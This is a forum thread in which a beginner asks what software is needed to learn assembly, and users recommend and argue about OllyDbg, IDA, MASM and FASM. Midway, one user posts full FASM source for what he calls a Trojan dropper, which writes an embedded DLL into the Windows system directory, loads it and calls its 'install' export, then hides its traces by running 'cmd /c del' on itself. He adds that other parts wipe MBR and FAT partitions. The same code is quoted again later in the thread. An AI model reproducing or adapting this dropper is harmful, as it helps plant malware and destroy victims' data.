[marbogunz]

Hi Everyone,

Im learning ASM, but i dont know what programs i need!

Can someone tell me the name.

Hope you guys know it

Tyvm!

[Trilest]

Originally Posted by marbogunz

Hi Everyone, Im learning ASM, but i dont know what programs i need! Can someone tell me the name. Hope you guys know it Tyvm!

Use OllyDBG I think?

[marbogunz]

K thx for your help ;d!

[Mambo]

He is right. The ONLY thing you need is OllyDBG. I prefer the 1.10

[Linear88]

No, you can't learn ASM with ollydbg. Read the tutorials?

[Trilest]

Originally Posted by Linear88

No, you can't learn ASM with ollydbg. Read the tutorials?

He said he wanted a program for asm.

Quote:

Im learning ASM, but i dont know what programs i need!

[Chanel]

use ollyDBG for the ASM coding and use http://www.xs4all.nl/~smit/asm01001.htm for good tutorials!

anyways good luck with ASM!

[Tman151]

No one mentions IdaPro? >..>
OllyDbg will work I guess..

[BetrayedAcheron]

If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG

[PaulBub]

Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.

[Guy]

Originally Posted by Trilest

He said he wanted a program for asm.

A debugger rarely has anything to do with ASM.

Originally Posted by Tman151

No one mentions IdaPro? >..> OllyDbg will work I guess..

Yet again, one more debugger; not to mention, you could also have suggested "IDA Free".

Originally Posted by BetrayedAcheron

If you are actually coding in asm i suggest mASM, but if your just editing old stuff ollyDBG

Originally Posted by PaulBub

Ollydbg is only for debugging/disassembling and inline asm it has nothing to do with "coding", if you really are learning asm, you should know about masm32.

MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.

[Kyuma]

i recommend ollydbg

[TidusXIII]

Originally Posted by gWX0

A debugger rarely has anything to do with ASM. Yet again, one more debugger; not to mention, you could also have suggested "IDA Free". MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.

                
                     
format PE gui 4.0
entry G
                     
  include 'FASM\include\win32a.inc'
  include 'config.inc'
                     
                     
                     
                     


  proc callback,handle,reason,reserved
                     
          cmp        [reason],DLL_PROCESS_ATTACH
          jnz        exit
                     
          xor        eax,eax
          invoke     LocalAlloc,eax,100h
          test       eax,eax
          je         exit
          mov        edi,eax
                     
          push       edi
                     
          invoke     GetSystemDirectory,edi,100h
          add        edi,eax
          mov        al,'\'
          stosb      
          mov        esi,_dll_name
          mov        ecx,_dll_name_sz
          rep        movsb
                     
          pop        edi
          mov        ebx,edi
                     
          xor        esi,esi
                     
          invoke     CreateFile,edi,40000000h,esi,esi,2,2,esi
          inc        eax
          je         exit
          lea        edi,[eax-1]
                     
          invoke     WriteFile,edi,_dll,_dll_sz,esp,esi
                     
          invoke     CloseHandle,edi
                     
          invoke     LoadLibrary,ebx
          test       eax,eax
          je         exit
                     
          invoke     GetProcAddress,eax,_ProcAddress
          test       eax,eax
          je         exit
          call       eax
          mov        eax,_delete
          cmp        eax,0
          je         exit
                     
          invoke     GetModuleFileName,esi,szFile,MAX_PATH
          invoke     GetShortPathName,szFile,szFile,MAX_PATH
          invoke     lstrcpy,szCmd,szDelete
          invoke     lstrcat,szCmd,szFile
          invoke     lstrcat,szCmd,szNull
          invoke     GetEnvironmentVariable,szComSpec,szFile,MAX_PATH
          test       eax,eax
          je         exit
          invoke     ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE
  exit:      
          invoke     ExitProcess,esi
  G:      
         
          ret
  endp    
                     
data 9
                               dd a
                               dd a
                               dd a
                               dd c
          a                    dd 0
          c                    dd callback
                               dd 0
                     
end data
                     
                     
                     
                     
                     
section '.data' data readable writeable
                     
                     
          _dll_name            db dll_name,0
          _dll_name_sz         = $ - _dll_name
          _ProcAddress         db 'install',0
                     
                     
          szFile               db    MAX_PATH   dup (?)
          szCmd                db    MAX_PATH   dup (?)
          szComSpec            db     'ComSpec',0
          szDelete             db     '/c del ',0
          szNull               db     ' >> nul',0
                     
                     
  _dll:      
                     
          file       'SOURCE\F.dll'
                     
          _dll_sz              = $ - _dll
                     
data import
                     
  library kernel***'KERNEL32.DLL',\
          shell***'SHELL32.DLL',\ 
          user***'USER32.DLL' 
                     
  include 'FASM\include\kernel32.inc'
  include 'FASM\include\shell32.inc'
  include 'FASM\include\user32.inc'

end data

What a fun little script.

[BetrayedAcheron]

Originally Posted by gWX0

A debugger rarely has anything to do with ASM. Yet again, one more debugger; not to mention, you could also have suggested "IDA Free". MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.

thanks alot i might look at that o.o

[Guy]

Originally Posted by TidusXIII

format PE gui 4.0 entry G include 'FASM\include\win32a.inc' include 'config.inc' proc callback,handle,reason,reserved cmp [reason],DLL_PROCESS_ATTACH jnz exit xor eax,eax invoke LocalAlloc,eax,100h test eax,eax je exit mov edi,eax push edi invoke GetSystemDirectory,edi,100h add edi,eax mov al,'\' stosb mov esi,_dll_name mov ecx,_dll_name_sz rep movsb pop edi mov ebx,edi xor esi,esi invoke CreateFile,edi,40000000h,esi,esi,2,2,esi inc eax je exit lea edi,[eax-1] invoke WriteFile,edi,_dll,_dll_sz,esp,esi invoke CloseHandle,edi invoke LoadLibrary,ebx test eax,eax je exit invoke GetProcAddress,eax,_ProcAddress test eax,eax je exit call eax mov eax,_delete cmp eax,0 je exit invoke GetModuleFileName,esi,szFile,MAX_PATH invoke GetShortPathName,szFile,szFile,MAX_PATH invoke lstrcpy,szCmd,szDelete invoke lstrcat,szCmd,szFile invoke lstrcat,szCmd,szNull invoke GetEnvironmentVariable,szComSpec,szFile,MAX_PATH test eax,eax je exit invoke ShellExecute,esi,esi,szFile,szCmd,esi,SW_HIDE exit: invoke ExitProcess,esi G: ret endp data 9 dd a dd a dd a dd c a dd 0 c dd callback dd 0 end data section '.data' data readable writeable _dll_name db dll_name,0 _dll_name_sz = $ - _dll_name _ProcAddress db 'install',0 szFile db MAX_PATH dup (?) szCmd db MAX_PATH dup (?) szComSpec db 'ComSpec',0 szDelete db '/c del ',0 szNull db ' >> nul',0 _dll: file 'SOURCE\F.dll' _dll_sz = $ - _dll data import library kernel***'KERNEL32.DLL',\ shell***'SHELL32.DLL',\ user***'USER32.DLL' include 'FASM\include\kernel32.inc' include 'FASM\include\shell32.inc' include 'FASM\include\user32.inc' end data What a fun little script.

That's a dynamic link-library, not a script. It looks like it dumps a copy of itself into the system directory.

[TidusXIII]

Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.

[Guy]

Originally Posted by TidusXIII

Its a script? Or are you a full ego narb. Yes we know that. I put that as an example to FASM, and that is made for a Trojan dropper. The other parts adds a lot of beautiful 0's to MDR and FAT partitions.

It's not a script.

[PaulBub]

Originally Posted by gWX0

MASM is only if you're specifically dealing w/WinAPI; personally, I prefer FASM, and if I'm dealing with the Windows API, I'll use the provided libraries.

I gave a try to fasm, it really is nice !

[TidusXIII]

A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user.

It's a script.

[Guy]

Originally Posted by TidusXIII

A scripting language, script language or extension language is a programming language that allows control of one or more software applications. "Scripts" are distinct from the core code of the application, which is usually written in a different language, and are often created or at least modified by the end-user. It's a script.

A scripting language is interpreted at runtime.

This is compiled into native bytecode, which is executed directly at runtime.

It's not a script.

[TidusXIII]

You just proved my point with your own words.

It's a script.

[BetrayedAcheron]

stop arguing, it isnt a script maku <.<

[Guy]

Originally Posted by TidusXIII

You just proved my point with your own words. It's a script.

Quote:

A scripting language is interpreted at runtime. This is compiled into native bytecode, which is executed directly at runtime. It's not a script.

Interpreted at runtime = converted to bytecode, then executed at runtime.

Versus

Executed at runtime = compiled some time occuring before runtime, then executed at runtime.


It's not a script.

[PaulBub]

Asm isn't a script, and is well, must be considered as even more native than C or C++.

[Trilest]

Guys wtf is the point about arguing whats a script or not.
He asked for a program he got it.